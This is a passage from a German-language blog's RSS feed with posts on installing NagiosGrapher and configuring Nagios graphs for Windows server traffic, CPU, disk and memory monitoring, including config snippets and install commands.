<p>Als host_name gibt man hier den Namen an, unter welchem der Multigraph dann auftauchen soll. Dies könnte genausogut einfach &#8220;name&#8221; heissen, da es nichts mit einem Host-Namen zu tun hat und beliebig gewählt werden kann. Der &#8220;service_name&#8221; ist der Name des Graphen und &#8220;hosts&#8221; ist ein Regex für alle Hosts, welche in den Multigraphen einbezogen werden sollen, in meinem Fall also alle. Unter &#8220;services&#8221; kommt der Name der Services, welche man zusammenfassen will und unter &#8220;graph_values&#8221; die graph values der entsprechenden Services. Der Rest ist nur noch Aussehen und Farbe, ganz wie man es gerne hat. Ihr seht also, keine Hexerei und wenn man die Werte sinnvoll auswählt, so kann man auch bei sehr vielen Servern noch sinnvolle Informationen auslesen, da man auf einen Blick Querschläger im Auge hat:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allwebfrontendanswertime_3weekly.png"  rel="lightbox[4160]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/01/multigraphen_allwebfrontendanswertime_3weekly-300x129.png" alt="multigraphen_allwebfrontendanswertime_3weekly" width="300" height="129" class="alignnone size-medium wp-image-4163" /></a></p>
<div id="socialshareprivacy_8a66cf2286f3c9df8bc8df6505610f2e"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/01/multigraphen-mit-nagiosgrapher/'
				$(document).ready(function(){
					$('#socialshareprivacy_8a66cf2286f3c9df8bc8df6505610f2e').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/01/multigraphen-mit-nagiosgrapher/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<series:name><![CDATA[Nagiosgrapher]]></series:name>
	</item>
		<item>
		<title>Nagios, Nagiosgrapher und der Traffic der Netzwerkkarte</title>
		<link>http://blog.encodingit.ch/2013/01/nagios-nagiosgrapher-und-der-traffic-der-netzwerkkarte/</link>
		<comments>http://blog.encodingit.ch/2013/01/nagios-nagiosgrapher-und-der-traffic-der-netzwerkkarte/#comments</comments>
		<pubDate>Fri, 11 Jan 2013 19:21:16 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[NagiosGrapher]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[Traffic]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4128</guid>
		<description><![CDATA[Ich weiss nicht genau wieso, aber auf die Idee, den Traffic unserer Server zu überwachen, bin ich noch gar nicht gekommen. Alles mögliche wird überwacht, von Ping bis RDP, doch ganz simple einfach der Traffic der Server habe ich bisher ausgelassen...<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Ich weiss nicht genau wieso, aber auf die Idee, den Traffic unserer Server zu überwachen, bin ich noch gar nicht gekommen. Alles mögliche wird überwacht, von Ping bis RDP, doch ganz simple einfach der Traffic der Server habe ich bisher ausgelassen&#8230;<br />
Das auslesen ist aber gar nicht so wild. Zurückgegriffen habe ich dabei auf check_nt und folgenden Service eingerichtet:</p>
<pre class="brush: bash; title: ; notranslate">
define service{
        use                     generic-service
        hostgroup_name          windows-servers
        service_description     RX
        check_command           check_nt!COUNTER!-l &quot;\\Network Interface(Intel[R] PRO_1000 MT Network Connection)\\Bytes Received/sec&quot;,&quot;Received Bytes/sec %0.2f&quot;
        }

define service{
        use                     generic-service
        hostgroup_name          windows-servers
        service_description     TX
        check_command           check_nt!COUNTER!-l &quot;\\Network Interface(Intel[R] PRO_1000 MT Network Connection)\\Bytes Sent/sec&quot;,&quot;Sent Bytes/sec %0.2f&quot;
        }
</pre>
<p>Dabei greife ich auf Counters in Windows zurück und erhalte die Werte für die empfangenen (RX) und versandten (TX) Pakete in Bytes pro Sekunde.</p>
<p>Auch für Nagiosgrapher ist das ganze alles andere als wild:</p>
<p><span id="more-4128"></span></p>
<pre class="brush: bash; title: ; notranslate">
# nt-traffic-recv
define ngraph{
        service_name            RX
        graph_perf_regex        ([0-9.]+)%
        graph_value             traffic_received
        graph_units             Bytes/s
        graph_legend            RX Traffic
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            RX
        type                    VDEF
        graph_value             vdef_traffic_received
        graph_units
        graph_legend            Durchschnitt
        graph_calc              traffic_received,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}

# nt-traffic-sent
define ngraph{
        service_name            TX
        graph_perf_regex        ([0-9.]+)%
        graph_value             traffic_sent
        graph_units             Bytes/s
        graph_legend            TX Traffic

        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            TX
        type                    VDEF
        graph_value             vdef_traffic_sent
        graph_units
        graph_legend            Durchschnitt
        graph_calc              traffic_sent,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}
</pre>
<p>Nun noch das normale Neustarten:</p>
<pre class="brush: bash; title: ; notranslate">
/etc/init.d/nagiosgrapher restart
/etc/init.d/nagios restart
</pre>
<p>Und das Ergebnis kann sich sehen lassen:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2013/01/rx.png"  rel="lightbox[4128]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/01/rx-300x124.png" alt="rx" width="300" height="124" class="alignnone size-medium wp-image-4129" /></a></p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2013/01/tx.png"  rel="lightbox[4128]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/01/tx-300x124.png" alt="tx" width="300" height="124" class="alignnone size-medium wp-image-4130" /></a></p>
<div id="socialshareprivacy_b094e5f48d6c624f374ad04159f6ec1f"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/01/nagios-nagiosgrapher-und-der-traffic-der-netzwerkkarte/'
				$(document).ready(function(){
					$('#socialshareprivacy_b094e5f48d6c624f374ad04159f6ec1f').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/01/nagios-nagiosgrapher-und-der-traffic-der-netzwerkkarte/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<series:name><![CDATA[Nagiosgrapher]]></series:name>
	</item>
		<item>
		<title>NSClient++ in NagiosGrapher integrieren</title>
		<link>http://blog.encodingit.ch/2012/12/nsclient-in-nagiosgrapher-integrieren/</link>
		<comments>http://blog.encodingit.ch/2012/12/nsclient-in-nagiosgrapher-integrieren/#comments</comments>
		<pubDate>Wed, 05 Dec 2012 08:09:18 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[NagiosGrapher]]></category>
		<category><![CDATA[NSClient++]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4004</guid>
		<description><![CDATA[Wie versprochen, für alle welche sich jetzt auch mit NagiosGrapher herumkämpfen, stelle ich mal meine Konfiguration zur Verfügung. Ich überwache dabei folgende Punkte von NSClient++.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Wie versprochen, für alle welche sich jetzt auch mit NagiosGrapher herumkämpfen, stelle ich mal meine Konfiguration zur Verfügung. Ich überwache dabei folgende Punkte von NSClient++:</p>
<ul>
<li>Auslastung der CPU (5 Min. Durchschnitt)</li>
<li>Auslastung vom Drive C:</li>
<li>Auslastung vom Drive D:</li>
<li>Auslastung vom RAM</li>
</ul>
<p>Zusätzlich noch folgende Werte von eigenen Scripts:</p>
<ul>
<li>Auslastung vom ESX Datastore</li>
</ul>
<p>Damit mein Script auch bei euch funktioniert, müsst ihr natürlich die selben Check-Scripts verwenden, wie ich. Entweder habe ich dazu aber einen Standard verwendet, wie check_nt von NSClient oder ihr findet das Script irgendwo in meinem Blog. Einfach mal die Suchfunktion ein bisschen bemühen <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Meine Konfiguration für NagiosGrapher sieht wie folgt aus:</p>
<p><span id="more-4004"></span></p>
<pre class="brush: bash; title: ; notranslate">
# ---
# NagiosGrapher Template for MS-Windows-related checks
# Modified by compr00t
# ---

# CPU load
define ngraph{
        service_name            CPU
        graph_log_regex         ([0-9]+)%
        graph_value             cpu_load
        graph_units             Prozent
        graph_legend            5 Min Durchschnitt
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               00a000
}

define ngraph{
        service_name            CPU
        type                    VDEF
        graph_value             vdef_cpu_average
        graph_units
        graph_legend            Durchschnitt
        graph_calc              cpu_load,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}


# nt-disk
define ngraph{
        service_name            C-Drive
        graph_log_regex         (\d+)%\)\s+-
        graph_value             c_drive
        graph_units             Prozent
        graph_legend            benutzer Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        page                    1 Auslastung
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            D-Drive
        graph_log_regex         (\d+)%\)\s+-
        graph_value             d_drive
        graph_units             Prozent
        graph_legend            benutzer Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        page                    1 Auslastung
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            C-Drive
        graph_log_regex         (\d+)\.(\d+)\sGb\s-
        graph_value             c_drivefix
        graph_units             GB
        graph_legend            Speicher
        page                    2 Speicher
        rrd_plottype            AREA
        rrd_color               c0c0ff
}

define ngraph{
        service_name            D-Drive
        graph_log_regex         (\d+)\.(\d+)\sGb\s-
        graph_value             d_drivefix
        graph_units             GB
        graph_legend            Speicher
        page                    2 Speicher
        rrd_plottype            AREA
        rrd_color               c0c0ff
}

define ngraph{
        service_name            Datastore
        graph_log_regex         ([0-9]*)\.([0-9]*)%
        graph_value             esx_datastore
        graph_units             Prozent
        graph_legend            freier Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               ff0000
}

# nt-memory
define ngraph{
        service_name            Memory
        graph_log_regex         (\d+)%\) -
        graph_value             memory
        graph_units             Prozent
        graph_legend            genutzes RAM
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            Memory
        type                    VDEF
        graph_value             vdef_memory_average
        graph_units
        graph_legend            Durchschnitt
        graph_calc              memory,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}

# [EOF]
</pre>
<p>Diese Datei muss einfach unter /usr/local/nagios/etc/ngraph.d/ abgelegt werden und die Endung .ncfg besitzen. Bedenkt aber, es dauert ein bisschen, bis die Einträge und überhaupt auch Werte in der Grafik auftauchen. Einfach den NagiosGrapher neustarten und nach einer Zeit mal Nagios reloaden:</p>
<pre class="brush: bash; title: ; notranslate">
/etc/init.d/nagios_grapher restart
/etc/init.d/nagios reload
</pre>
<p>Die restlichen Graphen basieren alle auf eigenen Check-Skripten. Aber mit ein bisschen Grundwissen in RegEx ist es keine Hexerei mehr, selbst etwas zu zaubern <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="socialshareprivacy_54fd649aecaaf6f5d95e84b682554fd6"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2012/12/nsclient-in-nagiosgrapher-integrieren/'
				$(document).ready(function(){
					$('#socialshareprivacy_54fd649aecaaf6f5d95e84b682554fd6').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2012/12/nsclient-in-nagiosgrapher-integrieren/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<series:name><![CDATA[Nagiosgrapher]]></series:name>
	</item>
		<item>
		<title>Nagiosgrapher in Nagios integrieren</title>
		<link>http://blog.encodingit.ch/2012/12/nagiosgrapher-in-nagios-integrieren/</link>
		<comments>http://blog.encodingit.ch/2012/12/nagiosgrapher-in-nagios-integrieren/#comments</comments>
		<pubDate>Mon, 03 Dec 2012 06:36:44 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Nagiosgraph]]></category>
		<category><![CDATA[NagiosGrapher]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=3991</guid>
		<description><![CDATA[Da ich von einem Kollegen angesprochen wurde, ob man denn auch problemlos Grafiken generieren könne aus den Daten in Nagios, bin ich aufmerksam geworden, da ich das bisher so nie versucht oder benötigt hatte. Nagios bietet ja bereits eine Handvoll Grafiken, jedoch immer nur zum Status, also entweder Weiss oder Schwarz, Up oder Down, Erreichbar oder nicht Erreichbar.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Da ich von einem Kollegen angesprochen wurde, ob man denn auch problemlos Grafiken generieren könne aus den Daten in Nagios, bin ich aufmerksam geworden, da ich das bisher so nie versucht oder benötigt hatte. Nagios bietet ja bereits eine Handvoll Grafiken, jedoch immer nur zum Status, also entweder Weiss oder Schwarz, Up oder Down, Erreichbar oder nicht Erreichbar. Dabei würde Nagios noch so viel mehr Infos liefern. Denn neben einem (NOT-)OK erhält man zum Beispiel beim Prüfen von Storage auch noch Infos wie viel denn bereits belegt ist und das in Mega- / Gigabyte oder Prozent. Dies zieht sich weiter bei fast allen Plugins: Antwortzeiten, Prozentuelle Auslastung, verlorene ICMP Pakete, Updates, SWAP, Pagefile und vieles mehr! Also hab ich mir gedacht, da muss es doch bereits findige Köpfe gegeben haben, welche dieses Potential schon früher gesehen haben. Und so war es natürlich auch, zu meinem Glück <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Nagiosgrapher integriert das zum Erstellen von Graphen geeignete <a href="http://oss.oetiker.ch/rrdtool/"  target="_blank">RRDtool</a> direkt in Nagios und hängt die Graphen mehr oder weniger automatisiert an jeden Service. Es muss also nicht für jeden Service von jedem Host ein eigener Graph erstellt werden, sondern via RegEx können gleich alle Dienste mit dem selben Namen abgearbeitet werden. Leider wird das Projekt nicht mehr allzu stark weiterentwickelt, doch funktioniert es immer noch sauber und problemlos. Wer lieber etwas topaktuelles will, der greift auf <a href="http://sourceforge.net/projects/nagiosgraph/"  target="_blank">Nagiosgraph</a> zurück, wozu es auch bereits zig Anleitungen im Netz gibt. Selbst habe ich erst beim Schreiben dieses Artikels bemerkt, dass es einen Unterschied zwischen Nagiosgraph und NagiosGrapher gibt und auch erst da ist mir aufgefallen, wie alt NagiosGrapher eigentlich ist. Ich weiss, Schande auf mein Haupt, doch da ich bereits sehr viel Arbeit investiert hatte und alles stabil, sauber und einfach läuft, geht es auch weiter mit NagiosGrapher.<br />
Dies Installation ist nicht wirklich schwierig, das Tool ist praktisch ein Selbstläufer. Beginnen muss man mit ein paar Vorbedingungen:</p>
<pre class="brush: bash; title: ; notranslate">
apt-get install autoconf rrdtool perl perl-base perl-modules libcalendar-simple-perl libgd-gd2-perl perlmagick librrds-perl liburi-perl
</pre>
<p>Nun kann die aktuelle Version von hier geladen werden:</p>
<p><span id="more-3991"></span></p>
<pre class="brush: bash; title: ; notranslate">
cd /tmp
wget &quot;http://downloads.sourceforge.net/project/nagiosgrapher/nagiosgrapher/NagiosGrapher-1.7.1/NagiosGrapher-1.7.1.tar.gz&quot;
tar xzvf NagiosGrapher-1.7.1.tar.gz
cd NagiosGrapher*
</pre>
<p>Ab hier ist es vielleicht nützlich ein Backup zu haben, es kann ja immer etwas schief gehen! Ansonsten weiter im Kontext. Wer Nagios unter /usr/local/nagios installiert hat (so wie es sein sollte <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) der hat hier Glück:</p>
<pre class="brush: bash; title: ; notranslate">
autoconf
./configure
make testdeps
make install
</pre>
<p>Wer Nagios an einem anderen Ort installiert hat, der muss kurz in die Dokumentation schauen, um den passenden Weg zu finden.</p>
<p>Nachdem nun NagiosGrapher installiert ist, geht es an die Anpassungen in der Konfiguration. In der Datei nagios.cfg müssen folgende Einträge ergänzt oder geändert werden:</p>
<pre class="brush: bash; title: ; notranslate">
cfg_dir=/usr/local/nagios/etc/serviceext
process_performance_data=1
service_perfdata_file=/usr/local/nagios/var/service-perfdata
service_perfdata_file_template=$HOSTNAME$\t$SERVICEDESC$\t$SERVICEOUTPUT$\t$SERVICEPERFDATA$\t$TIMET$
service_perfdata_file_mode=a
service_perfdata_file_processing_interval=30
service_perfdata_file_processing_command=process-service-perfdata-file
</pre>
<p>Auch ein Kommando in der commands.cfg muss eingetragen werden:</p>
<pre class="brush: bash; title: ; notranslate">
define command{
	command_name process-service-perfdata-file
	command_line mv /usr/local/nagios/var/service-perfdata /usr/local/nagios/var/service-perfdata.$TIMET$
}
</pre>
<p>Damit ist die Installation auch schon beendet, und es können die ersten Graphen erzeugt werden. Dazu sind im Folder /usr/local/nagios/etc/ngraph.d bereits einige Templates vorhanden, welche übernommen oder abgeändert werden können. Einfach kopieren und gut ist. Meine Konfiguration werde ich demnächst auch hier veröffentlichen, so stay tuned <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div id="socialshareprivacy_a9b52b8d11ff7eaa73113e9981d4dfe7"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2012/12/nagiosgrapher-in-nagios-integrieren/'
				$(document).ready(function(){
					$('#socialshareprivacy_a9b52b8d11ff7eaa73113e9981d4dfe7').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2012/12/nagiosgrapher-in-nagios-integrieren/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<series:name><![CDATA[Nagiosgrapher]]></series:name>
	</item>
	</channel>
</rss>
